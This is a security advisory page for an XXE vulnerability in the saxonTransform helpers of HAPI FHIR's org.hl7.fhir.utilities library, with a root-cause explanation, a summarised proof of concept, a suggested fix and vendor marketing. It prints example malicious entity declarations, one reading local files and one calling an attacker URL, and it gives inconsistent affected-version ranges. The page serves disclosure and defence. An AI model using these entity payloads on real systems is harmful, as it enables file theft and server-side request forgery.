ca.uhn.hapi.fhir:org.hl7.fhir.utilities

CVE-2026-55471

CVE-2026-55471 is a critical-severity XML external entity injection (XXE) vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.utilities (maven), affecting versions <= 6.9.9. It is fixed in 6.9.10.

Key facts
CVSS score
N/A
Critical
Attack vector
Not available
Issuing authority
GitHub Advisory Database
Affected package
ca.uhn.hapi.fhir:org.hl7.fhir.utilities
Fixed in
6.9.10
Disclosed
2026

Summary

Summary org.hl7.fhir.utilities.XsltUtilities exposes two parallel families of XSLT transform helpers. The transform(...) overloads obtain their TransformerFactory from the project's hardened helper XMLUtil.newXXEProtectedTransformerFactory() (which sets ACCESSEXTERNALDTD="" and ACCESSEXTERNALSTYLESHEET=""). The sibling saxonTransform(...) overloads instead instantiate a bare new net.sf.saxon.TransformerFactoryImpl() with no external-access restriction. A document transformed through any saxonTransform(...) overload is parsed with external general entities and external DTD/parameter entities enabled, so an attacker who controls (or can MITM) the transformed XML obtains XML External Entity injection: local file disclosure and blind XXE / SSRF to arbitrary URLs reachable from the host. XMLUtil documents that its protected factory "should be the only place where TransformerFactory is instantiated in this project". The saxonTransform overloads violate that contract while their same-file transform siblings honour it. Affected versions org.hl7.fhir.utilities (Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities) <= 6.9.8 (latest release at time of report; verified live on 6.9.8). The bare net.sf.saxon.TransformerFactoryImpl() instantiation is present at XsltUtilities.java:61, :91, and :106. Privilege required None at the library boundary. The exposure depends on the calling tool: any FHIR component that runs XsltUtilities.saxonTransform(...) over XML whose source document, embedded DTD, or referenced stylesheet is attacker-influenced (an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before the Saxon parser sees the bytes. Root cause org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java: The hardened helper (XMLUtil.newXXEProtectedTransformerFactory()) is: The saxonTransform overloads never call this helper and never set the two ACCESSEXTERNAL attributes, so the underlying parser resolves external general entities (<!ENTITY x SYSTEM "file:///...">) and external DTD/parameter entities (<!ENTITY % p SYSTEM "http://attacker/">). This is a classic CWE-611. The asymmetry, one family hardened, the co-located sibling family bare, is the bug: the protection that already exists in the same class was not extended to the saxonTransform variants. Reproduction (E2E against published Maven Central org.hl7.fhir.utilities:6.9.8) A self-contained Maven project. pom.xml pulls the latest released artifact, which transitively brings net.sf.saxon:Saxon-HE:11.6. pom.xml: src/main/java/Poc.java: Run + verbatim captured output (JDK 17.0.18, Saxon-HE 11.6; CJK in the hardened-path SAXParseException replaced with ? by the harness for ASCII display, the message text is accessExternalDTD ... restriction ... 'http' access not allowed): Interpretation of the verbatim output: Bare path (saxonTransform and bare TransformerFactoryImpl): the local secret file content (TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...) is leaked into the transform output (file disclosure), and the OOB sentinel receives GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 (blind XXE / SSRF). canary leaked: true, OOB hits = 1. Hardened path (XMLUtil.newXXEProtectedTransformerFactory()): parsing the same malicious source throws an accessExternalDTD ... 'http' access not allowed SAXParseException and the OOB sentinel receives 0 hits. The only difference between the two runs is the factory: the existing project helper blocks the attack, the bare sibling does not. Impact Local file disclosure: any file readable by the JVM process is exfiltrated into the transform output (demonstrated above with a canary secret file). Blind XXE / SSRF: external parameter/DTD entities cause the host to issue attacker-directed HTTP(S) requests (demonstrated by the sentinel hit), enabling internal-network probing and cloud metadata access from the host's network position. The saxonTransform overloads are part of the public org.hl7.fhir.utilities API consumed across the FHIR Java tooling (IG-publisher / validation / conversion utilities); any consumer that routes attacker-influenced or MITM-able XML through them inherits the XXE. Suggested fix Route the saxonTransform overloads through the same protection the transform siblings already use. Because these overloads specifically need the Saxon implementation, obtain a Saxon factory and apply the two ACCESSEXTERNAL restrictions (mirroring XMLUtil.newXXEProtectedTransformerFactory()), e.g. a small helper in XMLUtil: and replace each new net.sf.saxon.TransformerFactoryImpl() in XsltUtilities.saxonTransform(...) (lines 61, 91, 106) with a call to it. This mirrors the existing newXXEProtected* convention and the class-level mandate that the protected factory "should be the only place where TransformerFactory is instantiated in this project". A regression test that runs a DOCTYPE-bearing source through saxonTransform and asserts the external entity is NOT resolved should accompany the change. Credit Reported by tonghuaroot.

Impact

What is XML external entity injection (XXE)?

An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.

Affected versions

maven

  • ca.uhn.hapi.fhir:org.hl7.fhir.utilities (<= 6.9.9)

Security releases

  • ca.uhn.hapi.fhir:org.hl7.fhir.utilities → 6.9.10 (maven)
Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.

Kodem's runtime-powered SCA identifies whether CVE-2026-55471 is reachable in your applications. Explore open-source security for your team.

See if CVE-2026-55471 is reachable in your applications. Get a demo

Remediation advice

Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.utilities to 6.9.10 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently asked questions about CVE-2026-55471

What is CVE-2026-55471?

CVE-2026-55471 is a critical-severity XML external entity injection (XXE) vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.utilities (maven), affecting versions <= 6.9.9. It is fixed in 6.9.10. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.

Which versions of ca.uhn.hapi.fhir:org.hl7.fhir.utilities are affected by CVE-2026-55471?

ca.uhn.hapi.fhir:org.hl7.fhir.utilities (maven) versions <= 6.9.9 is affected.

Is there a fix for CVE-2026-55471?

Yes. CVE-2026-55471 is fixed in 6.9.10. Upgrade to this version or later.

Is CVE-2026-55471 exploitable, and should I be worried?

Whether CVE-2026-55471 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo

What actually determines whether CVE-2026-55471 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

How do I fix CVE-2026-55471?

Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.utilities to 6.9.10 or later.

Stop the waste.
Protect your environment with Kodem.